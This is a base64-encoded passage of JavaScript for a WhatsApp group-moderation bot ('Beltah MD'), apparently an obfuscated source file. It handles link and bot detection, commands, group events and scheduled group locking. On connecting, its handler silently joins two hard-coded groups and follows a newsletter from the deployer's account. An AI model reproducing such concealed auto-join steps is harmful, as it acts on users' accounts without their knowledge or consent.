0sIHsgcXVvdGVkOiBtcyB9KTsKIGF3YWl0IHprLnNlbmRNZXNzYWdlKG9yaWdpbmVNZXNzYWdlLCB7IHRleHQ6IHR4dCwgbWVudGlvbnM6IFthdXRldXJNZXNzYWdlXSB9LCB7IHF1b3RlZDogbXMgfSk7CiBhd2FpdCB6ay5zZW5kTWVzc2FnZShvcmlnaW5lTWVzc2FnZSwgeyBkZWxldGU6IGtleSB9KTsKIGF3YWl0IGZzLnVubGluaygic3QxLndlYnAiKTsKCiB9IGVsc2UgaWYoYWN0aW9uID09PSAnd2FybicpIHsKIGNvbnN0IHtnZXRXYXJuQ291bnRCeUpJRCAsYWpvdXRlclV0aWxpc2F0ZXVyQXZlY1dhcm5Db3VudH0gPSByZXF1aXJlKCcuL2JkZC93YXJuJykgOwoKIGxldCB3YXJuID0gYXdhaXQgZ2V0V2FybkNvdW50QnlKSUQoYXV0ZXVyTWVzc2FnZSkgOyAKIGxldCB3YXJubGltaXQgPSBjb25mLldBUk5fQ09VTlQKIGlmICggd2FybiA+PSB3YXJubGltaXQpIHsgCiB2YXIga2lrbXNnID0gYGxpbmsgZGV0ZWN0ZWQgLCB5b3Ugd2lsbCBiZSByZW1vdmUgYmVjYXVzZSBvZiByZWFjaGluZyB3YXJuLWxpbWl0YDsKIAogYXdhaXQgemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsgdGV4dDoga2lrbXNnICwgbWVudGlvbnM6IFthdXRldXJNZXNzYWdlXSB9LCB7IHF1b3RlZDogbXMgfSkgOwoKCiBhd2FpdCB6ay5ncm91cFBhcnRpY2lwYW50c1VwZGF0ZShvcmlnaW5lTWVzc2FnZSwgW2F1dGV1ck1lc3NhZ2VdLCAicmVtb3ZlIik7CiBhd2FpdCB6ay5zZW5kTWVzc2FnZShvcmlnaW5lTWVzc2FnZSwgeyBkZWxldGU6IGtleSB9KTsKCgogfSBlbHNlIHsKIHZhciByZXN0ID0gd2FybmxpbWl0IC0gd2FybiA7CiB2YXIgbXNnID0gYExpbmsgZGV0ZWN0ZWQgLCB5b3VyIHdhcm5fY291bnQgd2FzIHVwZ3JhZGUgO1xuIHJlc3QgOiAke3Jlc3R9IGA7CgogYXdhaXQgYWpvdXRlclV0aWxpc2F0ZXVyQXZlY1dhcm5Db3VudChhdXRldXJNZXNzYWdlKQoKIGF3YWl0IHprLnNlbmRNZXNzYWdlKG9yaWdpbmVNZXNzYWdlLCB7IHRleHQ6IG1zZyAsIG1lbnRpb25zOiBbYXV0ZXVyTWVzc2FnZV0gfSwgeyBxdW90ZWQ6IG1zIH0pIDsKIGF3YWl0IHprLnNlbmRNZXNzYWdlKG9yaWdpbmVNZXNzYWdlLCB7IGRlbGV0ZToga2V5IH0pOwoKIH0KIH0KIH0KIAogfQogCiAKIAogCiAKIAogY2F0Y2ggKGUpIHsKIGNvbnNvbGUubG9nKCJiZGQgZXJyICIgKyBlKTsKIH0KIAoKCiAvKiogKioqKioqKioqKioqKioqKioqKioqKioqKmFudGktYm90KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiogKi8KIHRyeSB7CiBjb25zdCBib3RNc2cgPSBtcy5rZXk/LmlkPy5zdGFydHNXaXRoKCdCQUVTJykgJiYgbXMua2V5Py5pZD8ubGVuZ3RoID09PSAxNjsKIGNvbnN0IGJhaWxleXNNc2cgPSBtcy5rZXk/LmlkPy5zdGFydHNXaXRoKCdCQUU1JykgJiYgbXMua2V5Py5pZD8ubGVuZ3RoID09PSAxNjsKIGlmIChib3RNc2cgfHwgYmFpbGV5c01zZykgewoKIGlmIChtdHlwZSA9PT0gJ3JlYWN0aW9uTWVzc2FnZScpIHsgY29uc29sZS5sb2coJ0plIG5lIHJlYWdpcyBwYXMgYXUgcmVhY3Rpb25zJykgOyByZXR1cm59IDsKIGNvbnN0IGFudGlib3RhY3RpdmVyID0gYXdhaXQgYXRidmVyaWZpZXJFdGF0SmlkKG9yaWdpbmVNZXNzYWdlKTsKIGlmKCFhbnRpYm90YWN0aXZlcikge3JldHVybn07CgogaWYoIHZlcmlmQWRtaW4gfHwgYXV0ZXVyTWVzc2FnZSA9PT0gaWRCb3QgKSB7IGNvbnNvbGUubG9nKCdqZSBmYWlzIHJpZW4nKTsgcmV0dXJufTsKIAogY29uc3Qga2V5ID0gewogcmVtb3RlSmlkOiBvcmlnaW5lTWVzc2FnZSwKIGZyb21NZTogZmFsc2UsCiBpZDogbXMua2V5LmlkLAogcGFydGljaXBhbnQ6IGF1dGV1ck1lc3NhZ2UKIH07CiB2YXIgdHh0ID0gImJvdCBkZXRlY3RlZCwgXG4iOwogLy8gdHh0ICs9IGBtZXNzYWdlIHN1cHByaW3DqSBcbiBAJHthdXRldXJNZXNzYWdlLnNwbGl0KCJAIilbMF19IHLDqXRpcsOpIGR1IGdyb3VwZS5gOwogY29uc3QgZ2lmTGluayA9ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vZGphbGVnYTgwMDAvWm9rb3UtTUQvbWFpbi9tZWRpYS9yZW1vdmVyLmdpZiI7CiB2YXIgc3RpY2tlciA9IG5ldyBTdGlja2VyKGdpZkxpbmssIHsKIHBhY2s6ICdCRUxUQUgtTUQnLAogYXV0aG9yOiBjb25mLk9XTkVSX05BTUUsCiB0eXBlOiBTdGlja2VyVHlwZXMuRlVMTCwKIGNhdGVnb3JpZXM6IFsn8J+kqScsICfwn46JJ10sCiBpZDogJzEyMzQ1JywKIHF1YWxpdHk6IDUwLAogYmFja2dyb3VuZDogJyMwMDAwMDAnCiB9KTsKIGF3YWl0IHN0aWNrZXIudG9GaWxlKCJzdDEud2VicCIpOwogLy8gdmFyIHR4dCA9IGBAJHthdXRldXJNc2dSZXBvbmR1LnNwbGl0KCJAIilbMF19IGEgw6l0w6kgcsOpdGlyw6kgZHUgZ3JvdXBlLi5cbmAKIHZhciBhY3Rpb24gPSBhd2FpdCBhdGJyZWN1cGVyZXJBY3Rpb25KaWQob3JpZ2luZU1lc3NhZ2UpOwoKIGlmIChhY3Rpb24gPT09ICdyZW1vdmUnKSB7CgogdHh0ICs9IGBtZXNzYWdlIGRlbGV0ZWQgXG4gQCR7YXV0ZXVyTWVzc2FnZS5zcGxpdCgiQCIpWzBdfSByZW1vdmVkIGZyb20gZ3JvdXAuYDsKCiBhd2FpdCB6ay5zZW5kTWVzc2FnZShvcmlnaW5lTWVzc2FnZSwgeyBzdGlja2VyOiBmcy5yZWFkRmlsZVN5bmMoInN0MS53ZWJwIikgfSk7CiAoMCwgYmFpbGV5c18xLmRlbGF5KSg4MDApOwogYXdhaXQgemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsgdGV4dDogdHh0LCBtZW50aW9uczogW2F1dGV1ck1lc3NhZ2VdIH0sIHsgcXVvdGVkOiBtcyB9KTsKIHRyeSB7CiBhd2FpdCB6ay5ncm91cFBhcnRpY2lwYW50c1VwZGF0ZShvcmlnaW5lTWVzc2FnZSwgW2F1dGV1ck1lc3NhZ2VdLCAicmVtb3ZlIik7CiB9CiBjYXRjaCAoZSkgewogY29uc29sZS5sb2coImFudGlib3QgIikgKyBlOwogfQogYXdhaXQgemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsgZGVsZXRlOiBrZXkgfSk7CiBhd2FpdCBmcy51bmxpbmsoInN0MS53ZWJwIik7IH0gCiAKIGVsc2UgaWYgKGFjdGlvbiA9PT0gJ2RlbGV0ZScpIHsKIHR4dCArPSBgbWVzc2FnZSBkZWxldGUgXG4gQCR7YXV0ZXVyTWVzc2FnZS5zcGxpdCgiQCIpWzBdfSBBdm9pZCBzZW5kaW5nIGxpbmsuYDsKIC8vYXdhaXQgemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsgc3RpY2tlcjogZnMucmVhZEZpbGVTeW5jKCJzdDEud2VicCIpIH0sIHsgcXVvdGVkOiBtcyB9KTsKIGF3YWl0IHprLnNlbmRNZXNzYWdlKG9yaWdpbmVNZXNzYWdlLCB7IHRleHQ6IHR4dCwgbWVudGlvbnM6IFthdXRldXJNZXNzYWdlXSB9LCB7IHF1b3RlZDogbXMgfSk7CiBhd2FpdCB6ay5zZW5kTWVzc2FnZShvcmlnaW5lTWVzc2FnZSwgeyBkZWxldGU6IGtleSB9KTsKIGF3YWl0IGZzLnVubGluaygic3QxLndlYnAiKTsKCiB9IGVsc2UgaWYoYWN0aW9uID09PSAnd2FybicpIHsKIGNvbnN0IHtnZXRXYXJuQ291bnRCeUpJRCAsYWpvdXRlclV0aWxpc2F0ZXVyQXZlY1dhcm5Db3VudH0gPSByZXF1aXJlKCcuL2JkZC93YXJuJykgOwoKIGxldCB3YXJuID0gYXdhaXQgZ2V0V2FybkNvdW50QnlKSUQoYXV0ZXVyTWVzc2FnZSkgOyAKIGxldCB3YXJubGltaXQgPSBjb25mLldBUk5fQ09VTlQKIGlmICggd2FybiA+PSB3YXJubGltaXQpIHsgCiB2YXIga2lrbXNnID0gYGJvdCBkZXRlY3RlZCA7eW91IHdpbGwgYmUgcmVtb3ZlIGJlY2F1c2Ugb2YgcmVhY2hpbmcgd2Fybi1saW1pdGA7CiAKIGF3YWl0IHprLnNlbmRNZXNzYWdlKG9yaWdpbmVNZXNzYWdlLCB7IHRleHQ6IGtpa21zZyAsIG1lbnRpb25zOiBbYXV0ZXVyTWVzc2FnZV0gfSwgeyBxdW90ZWQ6IG1zIH0pIDsKCgogYXdhaXQgemsuZ3JvdXBQYXJ0aWNpcGFudHNVcGRhdGUob3JpZ2luZU1lc3NhZ2UsIFthdXRldXJNZXNzYWdlXSwgInJlbW92ZSIpOwogYXdhaXQgemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsgZGVsZXRlOiBrZXkgfSk7CgoKIH0gZWxzZSB7CiB2YXIgcmVzdCA9IHdhcm5saW1pdCAtIHdhcm4gOwogdmFyIG1zZyA9IGBib3QgZGV0ZWN0ZWQgLCB5b3VyIHdhcm5fY291bnQgd2FzIHVwZ3JhZGUgO1xuIHJlc3QgOiAke3Jlc3R9IGA7CgogYXdhaXQgYWpvdXRlclV0aWxpc2F0ZXVyQXZlY1dhcm5Db3VudChhdXRldXJNZXNzYWdlKQoKIGF3YWl0IHprLnNlbmRNZXNzYWdlKG9yaWdpbmVNZXNzYWdlLCB7IHRleHQ6IG1zZyAsIG1lbnRpb25zOiBbYXV0ZXVyTWVzc2FnZV0gfSwgeyBxdW90ZWQ6IG1zIH0pIDsKIGF3YWl0IHprLnNlbmRNZXNzYWdlKG9yaWdpbmVNZXNzYWdlLCB7IGRlbGV0ZToga2V5IH0pOwoKIH0KIH0KIH0KIH0KIGNhdGNoIChlcikgewogY29uc29sZS5sb2coJy4uLi4gJyArIGVyKTsKIH0gCiAKIAogLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKIC8vZXhlY3V0aW9uIGRlcyBjb21tYW5kZXMgCiBpZiAodmVyaWZDb20pIHsKIGNvbnN0IGNkID0gZXZ0LmNtLmZpbmQoa2VpdGggPT4ga2VpdGgubm9tQ29tID09PSBjb20gfHwga2VpdGgubm9tQ29tID09PSBjb20gfHwga2VpdGguYWxpYXNlcyAmJiBrZWl0aC5hbGlhc2VzLmluY2x1ZGVzKGNvbSkpOwogaWYgKGNkKSB7CiB0cnkgewogaWYgKGNvbmYuTU9ERS50b0xvY2FsZUxvd2VyQ2FzZSgpICE9ICd5ZXMnICYmICFzdXBlclVzZXIpIHsKIHJldHVybjsKIH0KCiAvKioqKioqKioqKioqKioqKioqKiBQTV9QRVJNVCoqKioqKioqKioqKioqKi8KCiBpZiAoIXN1cGVyVXNlciAmJiBvcmlnaW5lTWVzc2FnZSA9PT0gYXV0ZXVyTWVzc2FnZSAmJiBjb25mLlBNX1BFUk1JVCA9PT0gInllcyIpIHsKIHJlcG9uZHJlKCLhtIDhtIThtIThtIdzcyDhtIXhtIfJtMmq4bSH4bSFIOKdl+Kdl1xuXG4+IMqP4bSP4bScIMqc4bSA4bSg4bSHIMm04bSPIOG0gOG0hOG0hOG0h3NzIOG0j9KTIMqZ4bSHyp/htJvhtIDKnC3htI3htIUgyarJtCDhtJjhtI0uIik7CiByZXR1cm47CiB9CiAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgogLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqYmFuR3JvdXAgKi8KIGlmICghc3VwZXJVc2VyICYmIHZlcmlmR3JvdXBlKSB7CiBsZXQgcmVxID0gYXdhaXQgaXNHcm91cEJhbm5lZChvcmlnaW5lTWVzc2FnZSk7CiBpZiAocmVxKSB7CiByZXR1cm47CiB9CiB9CgogLyoqKioqKioqKioqKioqKioqKioqKioqKioqKiBPTkxZLUFETUlOICovCgogaWYgKCF2ZXJpZkFkbWluICYmIHZlcmlmR3JvdXBlKSB7CiBsZXQgcmVxID0gYXdhaXQgaXNHcm91cE9ubHlBZG1pbihvcmlnaW5lTWVzc2FnZSk7CiBpZiAocmVxKSB7CiByZXR1cm47CiB9CiB9CgogLyoqKioqKioqKioqKioqKioqKioqKipiYW51c2VyICovCgogaWYgKCFzdXBlclVzZXIpIHsKIGxldCByZXEgPSBhd2FpdCBpc1VzZXJCYW5uZWQoYXV0ZXVyTWVzc2FnZSk7CiBpZiAocmVxKSB7CiByZXBvbmRyZSgiWW91IGFyZSBiYW5uZWQgZnJvbSBib3QgY29tbWFuZHMiKTsKIHJldHVybjsKIH0KIH0KIHJlYWdpcihvcmlnaW5lTWVzc2FnZSwgemssIG1zLCBjZC5yZWFjdGlvbik7CiBjZC5mb25jdGlvbihvcmlnaW5lTWVzc2FnZSwgemssIGNvbW1hbmRlT3B0aW9ucyk7CiB9IGNhdGNoIChlKSB7CiBjb25zb2xlLmxvZygi8J+YofCfmKEgIiArIGUpOwogemsuc2VuZE1lc3NhZ2Uob3JpZ2luZU1lc3NhZ2UsIHsKIHRleHQ6ICLwn5ih8J+YoSAiICsgZQogfSwgewogcXVvdGVkOiBtcwogfSk7CiB9CiB9CiB9CiAvL2ZpbiBleMOpY3V0aW9uIGNvbW1hbmRlcwogfSk7CiAvL2ZpbiDDqXbDqW5lbWVudCBtZXNzYWdlCgogLyoqKioqKioqIGV2ZW5lbWVudCBncm91cGUgdXBkYXRlICoqKioqKioqKioqKioqKiovCiBjb25zdCB7CiByZWN1cGV2ZW50cwogfSA9IHJlcXVpcmUoJy4vYmRkL3dlbGNvbWUnKTsKIHprLmV2Lm9uKCdncm91cC1wYXJ0aWNpcGFudHMudXBkYXRlJywgYXN5bmMgZ3JvdXAgPT4gewogY29uc29sZS5sb2coZ3JvdXApOwogbGV0IHBwZ3JvdXA7CiB0cnkgewogcHBncm91cCA9IGF3YWl0IHprLnByb2ZpbGVQaWN0dXJlVXJsKGdyb3VwLmlkLCAnaW1hZ2UnKTsKIH0gY2F0Y2ggewogcHBncm91cCA9ICdodHRwczovL2liYi5jby83U0tZMHRnJzsKIH0KIHRyeSB7CiBjb25zdCBtZXRhZGF0YSA9IGF3YWl0IHprLmdyb3VwTWV0YWRhdGEoZ3JvdXAuaWQpOwogaWYgKGdyb3VwLmFjdGlvbiA9PSAnYWRkJyAmJiAoYXdhaXQgcmVjdXBldmVudHMoZ3JvdXAuaWQsICJ3ZWxjb21lIikpID09ICdvbicpIHsKIGxldCBtc2cgPSBg8J2QgfCdkITwnZCL8J2Qk/CdkIDwnZCHIPCdkIzwnZCDXG5cbvCfkYsgSGVsbG8KYDsKIGxldCBtZW1icmVzID0gZ3JvdXAucGFydGljaXBhbnRzOwogZm9yIChsZXQgbWVtYnJlIG9mIG1lbWJyZXMpIHsKIG1zZyArPSBgICpAJHttZW1icmUuc3BsaXQoIkAiKVswXX0qIFdlbGNvbWUgdG8gT3VyIE9mZmljaWFsIEdyb3VwLGA7CiB9CiBtc2cgKz0gYFlvdSBtaWdodCB3YW50IHRvIHJlYWQgdGhlIGdyb3VwIERlc2NyaXB0aW9uIHRvIGF2b2lkIGdldHRpbmcgcmVtb3ZlZC4uLmA7CiB6ay5zZW5kTWVzc2FnZShncm91cC5pZCwgewogaW1hZ2U6IHsKIHVybDogcHBncm91cAogfSwKIGNhcHRpb246IG1zZywKIG1lbnRpb25zOiBtZW1icmVzCiB9KTsKIH0gZWxzZSBpZiAoZ3JvdXAuYWN0aW9uID09ICdyZW1vdmUnICYmIChhd2FpdCByZWN1cGV2ZW50cyhncm91cC5pZCwgImdvb2RieWUiKSkgPT0gJ29uJykgewogbGV0IG1zZyA9IGBvbmUgb3Igc29tZXMgbWVtYmVyKHMpIGxlZnQgZ3JvdXA7XG5gOwogbGV0IG1lbWJyZXMgPSBncm91cC5wYXJ0aWNpcGFudHM7CiBmb3IgKGxldCBtZW1icmUgb2YgbWVtYnJlcykgewogbXNnICs9IGBAJHttZW1icmUuc3BsaXQoIkAiKVswXX1cbmA7CiB9CiB6ay5zZW5kTWVzc2FnZShncm91cC5pZCwgewogdGV4dDogbXNnLAogbWVudGlvbnM6IG1lbWJyZXMKIH0pOwogfSBlbHNlIGlmIChncm91cC5hY3Rpb24gPT0gJ3Byb21vdGUnICYmIChhd2FpdCByZWN1cGV2ZW50cyhncm91cC5pZCwgImFudGlwcm9tb3RlIikpID09ICdvbicpIHsKIC8vIGNvbnNvbGUubG9nKHprLnVzZXIuaWQpCiBpZiAoZ3JvdXAuYXV0aG9yID09IG1ldGFkYXRhLm93bmVyIHx8IGdyb3VwLmF1dGhvciA9PSBjb25mLk5VTUVST19PV05FUiArICdAcy53aGF0c2FwcC5uZXQnIHx8IGdyb3VwLmF1dGhvciA9PSBkZWNvZGVKaWQoemsudXNlci5pZCkgfHwgZ3JvdXAuYXV0aG9yID09IGdyb3VwLnBhcnRpY2lwYW50c1swXSkgewogY29uc29sZS5sb2coJ0NhcyBkZSBzdXBlclVzZXIgamUgZmFpcyByaWVuJyk7CiByZXR1cm47CiB9CiA7CiBhd2FpdCB6ay5ncm91cFBhcnRpY2lwYW50c1VwZGF0ZShncm91cC5pZCwgW2dyb3VwLmF1dGhvciwgZ3JvdXAucGFydGljaXBhbnRzWzBdXSwgImRlbW90ZSIpOwogemsuc2VuZE1lc3NhZ2UoZ3JvdXAuaWQsIHsKIHRleHQ6IGBAJHtncm91cC5hdXRob3Iuc3BsaXQoIkAiKVswXX0gaGFzIHZpb2xhdGVkIHRoZSBhbnRpLXByb21vdGlvbiBydWxlLCB0aGVyZWZvcmUgYm90aCAke2dyb3VwLmF1dGhvci5zcGxpdCgiQCIpWzBdfSBhbmQgQCR7Z3JvdXAucGFydGljaXBhbnRzWzBdLnNwbGl0KCJAIilbMF19IGhhdmUgYmVlbiByZW1vdmVkIGZyb20gYWRtaW5pc3RyYXRpdmUgcmlnaHRzLmAsCiBtZW50aW9uczogW2dyb3VwLmF1dGhvciwgZ3JvdXAucGFydGljaXBhbnRzWzBdXQogfSk7CiB9IGVsc2UgaWYgKGdyb3VwLmFjdGlvbiA9PSAnZGVtb3RlJyAmJiAoYXdhaXQgcmVjdXBldmVudHMoZ3JvdXAuaWQsICJhbnRpZGVtb3RlIikpID09ICdvbicpIHsKIGlmIChncm91cC5hdXRob3IgPT0gbWV0YWRhdGEub3duZXIgfHwgZ3JvdXAuYXV0aG9yID09IGNvbmYuTlVNRVJPX09XTkVSICsgJ0BzLndoYXRzYXBwLm5ldCcgfHwgZ3JvdXAuYXV0aG9yID09IGRlY29kZUppZCh6ay51c2VyLmlkKSB8fCBncm91cC5hdXRob3IgPT0gZ3JvdXAucGFydGljaXBhbnRzWzBdKSB7CiBjb25zb2xlLmxvZygnQ2FzIGRlIHN1cGVyVXNlciBqZSBmYWlzIHJpZW4nKTsKIHJldHVybjsKIH0KIDsKIGF3YWl0IHprLmdyb3VwUGFydGljaXBhbnRzVXBkYXRlKGdyb3VwLmlkLCBbZ3JvdXAuYXV0aG9yXSwgImRlbW90ZSIpOwogYXdhaXQgemsuZ3JvdXBQYXJ0aWNpcGFudHNVcGRhdGUoZ3JvdXAuaWQsIFtncm91cC5wYXJ0aWNpcGFudHNbMF1dLCAicHJvbW90ZSIpOwogemsuc2VuZE1lc3NhZ2UoZ3JvdXAuaWQsIHsKIHRleHQ6IGBAJHtncm91cC5hdXRob3Iuc3BsaXQoIkAiKVswXX0gaGFzIHZpb2xhdGVkIHRoZSBhbnRpLWRlbW90aW9uIHJ1bGUgYnkgcmVtb3ZpbmcgQCR7Z3JvdXAucGFydGljaXBhbnRzWzBdLnNwbGl0KCJAIilbMF19LiBDb25zZXF1ZW50bHksIGhlIGhhcyBiZWVuIHN0cmlwcGVkIG9mIGFkbWluaXN0cmF0aXZlIHJpZ2h0cy5gLAogbWVudGlvbnM6IFtncm91cC5hdXRob3IsIGdyb3VwLnBhcnRpY2lwYW50c1swXV0KIH0pOwogfQogfSBjYXRjaCAoZSkgewogY29uc29sZS5lcnJvcihlKTsKIH0KIH0pOwoKIC8qKioqKioqKiBmaW4gZCdldmVuZW1lbnQgZ3JvdXBlIHVwZGF0ZSAqKioqKioqKioqKioqKioqKioqKioqKioqLwoKIC8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKkNyb24gc2V0dXAgKi8KCiBhc3luYyBmdW5jdGlvbiBhY3RpdmF0ZUNyb25zKCkgewogY29uc3QgY3JvbiA9IHJlcXVpcmUoJ25vZGUtY3JvbicpOwogY29uc3QgewogZ2V0Q3JvbgogfSA9IHJlcXVpcmUoJy4vYmRkL2Nyb24nKTsKIGxldCBjcm9ucyA9IGF3YWl0IGdldENyb24oKTsKIGNvbnNvbGUubG9nKGNyb25zKTsKIGlmIChjcm9ucy5sZW5ndGggPiAwKSB7CiBmb3IgKGxldCBpID0gMDsgaSA8IGNyb25zLmxlbmd0aDsgaSsrKSB7CiBpZiAoY3JvbnNbaV0ubXV0ZV9hdCAhPSBudWxsKSB7CiBsZXQgc2V0ID0gY3JvbnNbaV0ubXV0ZV9hdC5zcGxpdCgnOicpOwogY29uc29sZS5sb2coYGV0YWJsaXNzZW1lbnQgZCd1biBhdXRvbXV0ZSBwb3VyICR7Y3JvbnNbaV0uZ3JvdXBfaWR9IGEgJHtzZXRbMF19IEggJHtzZXRbMV19YCk7CiBjcm9uLnNjaGVkdWxlKGAke3NldFsxXX0gJHtzZXRbMF19ICogKiAqYCwgYXN5bmMgKCkgPT4gewogYXdhaXQgemsuZ3JvdXBTZXR0aW5nVXBkYXRlKGNyb25zW2ldLmdyb3VwX2lkLCAnYW5ub3VuY2VtZW50Jyk7CiB6ay5zZW5kTWVzc2FnZShjcm9uc1tpXS5ncm91cF9pZCwgewogaW1hZ2U6IHsKIHVybDogJy4vbWVkaWEvY2hyb25vLndlYnAnCiB9LAogY2FwdGlvbjogIkhlbGxvLCBpdCdzIHRpbWUgdG8gY2xvc2UgdGhlIGdyb3VwOyBzYXlvbmFyYS4iCiB9KTsKIH0sIHsKIHRpbWV6b25lOiAiQWZyaWNhL05haXJvYmkiCiB9KTsKIH0KIGlmIChjcm9uc1tpXS51bm11dGVfYXQgIT0gbnVsbCkgewogbGV0IHNldCA9IGNyb25zW2ldLnVubXV0ZV9hdC5zcGxpdCgnOicpOwogY29uc29sZS5sb2coYGV0YWJsaXNzZW1lbnQgZCd1biBhdXRvdW5tdXRlIHBvdXIgJHtzZXRbMF19IEggJHtzZXRbMV19IGApOwogY3Jvbi5zY2hlZHVsZShgJHtzZXRbMV19ICR7c2V0WzBdfSAqICogKmAsIGFzeW5jICgpID0+IHsKIGF3YWl0IHprLmdyb3VwU2V0dGluZ1VwZGF0ZShjcm9uc1tpXS5ncm91cF9pZCwgJ25vdF9hbm5vdW5jZW1lbnQnKTsKIHprLnNlbmRNZXNzYWdlKGNyb25zW2ldLmdyb3VwX2lkLCB7CiBpbWFnZTogewogdXJsOiAnLi9tZWRpYS9jaHJvbm8ud2VicCcKIH0sCiBjYXB0aW9uOiAiR29vZCBtb3JuaW5nOyBJdCdzIHRpbWUgdG8gb3BlbiB0aGUgZ3JvdXAuIgogfSk7CiB9LCB7CiB0aW1lem9uZTogIkFmcmljYS9OYWlyb2JpIgogfSk7CiB9CiB9CiB9IGVsc2UgewogY29uc29sZS5sb2coIkxlcyBjcm9ucyBuJ29udCBwYXMgw6l0w6kgYWN0aXbDqXMiKTsKIH0KIHJldHVybjsKIH0KCiAvL2NvbnRhY3QKIHprLmV2Lm9uKCJjb250YWN0cy51cHNlcnQiLCBhc3luYyAoY29udGFjdHMpID0+IHsKIGNvbnN0IGluc2VydENvbnRhY3QgPSAobmV3Q29udGFjdCkgPT4gewogZm9yIChjb25zdCBjb250YWN0IG9mIG5ld0NvbnRhY3QpIHsKIGlmIChzdG9yZS5jb250YWN0c1tjb250YWN0LmlkXSkgewogT2JqZWN0LmFzc2lnbihzdG9yZS5jb250YWN0c1tjb250YWN0LmlkXSwgY29udGFjdCk7CiB9CiBlbHNlIHsKIHN0b3JlLmNvbnRhY3RzW2NvbnRhY3QuaWRdID0gY29udGFjdDsKIH0KIH0KIHJldHVybjsKIH07CiBpbnNlcnRDb250YWN0KGNvbnRhY3RzKTsKIH0pOwogLy8gRGVmaW5lIHRoZSBuZXdzbGV0dGVyIGZ1bmN0aW9uCmFzeW5jIGZ1bmN0aW9uIG5ld3NsZXR0ZXIoKSB7CiB0cnkgewogLy8gUmVwbGFjZSB0aGUgZm9sbG93aW5nIHdpdGggdGhlIGFjdHVhbCBpbXBsZW1lbnRhdGlvbiBvciBBUEkgY2FsbAogY29uc29sZS5sb2coIkV4ZWN1dGluZyBuZXdzbGV0dGVyIGZ1bmN0aW9uYWxpdHkuLi4iKTsKIC8vIEFkZCBhbnkgbmVjZXNzYXJ5IGxvZ2ljIGhlcmUKIH0gY2F0Y2ggKGVycm9yKSB7CiBjb25zb2xlLmVycm9yKCJFcnJvciBpbiBuZXdzbGV0dGVyOiIsIGVycm9yKTsKIH0KfQoKLy8gVXBkYXRlIHRoZSBjb25uZWN0aW9uIGhhbmRsZXIgdG8gdXNlIHRoZSBuZXcgZnVuY3Rpb24KemsuZXYub24oImNvbm5lY3Rpb24udXBkYXRlIiwgYXN5bmMgKGNvbikgPT4gewogY29uc3QgeyBsYXN0RGlzY29ubmVjdCwgY29ubmVjdGlvbiB9ID0gY29uOwogaWYgKGNvbm5lY3Rpb24gPT09ICJjb25uZWN0aW5nIikgewogY29uc29sZS5sb2coIuKEue+4jyBDb25uZWN0aW5nLi4uIik7CiB9IGVsc2UgaWYgKGNvbm5lY3Rpb24gPT09ICdvcGVuJykgewogYXdhaXQgemsuZ3JvdXBBY2NlcHRJbnZpdGUoIkY5ZUdrczBQbnc3Skpyb3pJQ3pCbzQiKTsKIGF3YWl0IHprLm5ld3NsZXR0ZXJGb2xsb3coIjEyMDM2MzI0OTQ2NDEzNjUwM0BuZXdzbGV0dGVyIik7CiBhd2FpdCB6ay5ncm91cEFjY2VwdEludml0ZSgiRTZpczNvTjdSZEVEbDdPaUEzYjBTMyIpOwogY29uc29sZS5sb2coIuKchSBDb25uZWN0aW9uIHN1Y2Nlc3NmdWwhIOKYuu+4jyIpOwogY29uc29sZS5sb2coIi0tIik7CiBhd2FpdCAoMCwgYmFpbGV5c18xLmRlbGF5KSgyMDApOwogY29uc29sZS5sb2coIi0tLS0tLSIpOwogYXdhaXQgKDAsIGJhaWxleXNfMS5kZWxheSkoMzAwKTsKIGNvbnNvbGUubG9nKCItLS0tLS0tLS0tLS0tLS0tLS0vLS0tLS0iKTsKIGNvbnNvbGUubG9nKCJCZWx0YWggTUQgYm90IGlzIG9ubGluZSDwn5W4XG5cbiIpOwogY29uc29sZS5sb2coIkxvYWRpbmcgY29tbWFuZHMuLi5cbiIpOwogZnMucmVhZGRpclN5bmMoX19kaXJuYW1lICsgIi9jb21tYW5kcyIpLmZvckVhY2goKGZpY2hpZXIpID0+IHsKIGlmIChwYXRoLmV4dG5hbWUoZmljaGllcikudG9Mb3dlckNhc2UoKSA9PSAoIi5qcyIpKSB7CiB0cnkgewogcmVxdWlyZShfX2Rpcm5hbWUgKyAiL2NvbW1hbmRzLyIgKyBmaWNoaWVyKTsKIGNvbnNvbGUubG9nKGZpY2hpZXIgKyAiIGluc3RhbGxlZCDinJTvuI8iKTsKIH0gY2F0Y2ggKGUpIHsKIGNvbnNvbGUubG9nKGAke2ZpY2hpZXJ9IGNvdWxkIG5vdCBiZSBsb2FkZWQgZHVlIHRvIHRoZSBmb2xsb3dpbmcgcmVhc29uczogJHtlfWApOwogfQogKDAsIGJhaWxleXNfMS5kZWxheSkoMzAwKTsKIH0KIH0pOwogKDAsIGJhaWxleXNfMS5kZWxheSkoNzAwKTsKIGxldCBtZDsKIGlmICgoY29uZi5NT0RFKS50b0xvY2FsZUxvd2VyQ2FzZSgpID09PSAieWVzIikgewogbWQgPSAicHVibGljIjsKIH0gZWxzZSBpZiAoKGNvbmYuTU9ERSkudG9Mb2NhbGVMb3dlckNhc2UoKSA9PT0gIm5vIikgewogbWQgPSAicHJpdmF0ZSI7CiB9IGVsc2UgewogbWQgPSAidW5kZWZpbmVkIjsKIH0KIGNvbnNvbGUubG9nKCJDb21tYW5kIGxvYWRpbmcgY29tcGxldGVkIOKchSIpOwoKIGlmICgoY29uZi5EUCkudG9Mb3dlckNhc2UoKSA9PT0gJ3llcycpIHsKIGxldCBjbXNnID0gYOKVreKVkOKVkOKVkOKVkOKKtwrilZEgKuOAjiAke2NvbmYuQk9UfSDwnZCi8J2QrCDwnZCO8J2Qp/CdkKXwnZCi8J2Qp/CdkJ7jgI8qCuKVkSDhtI/htKHJtOG0h8qAOiAke2NvbmYuT1dORVJfTkFNRX0K4pWRIOG0m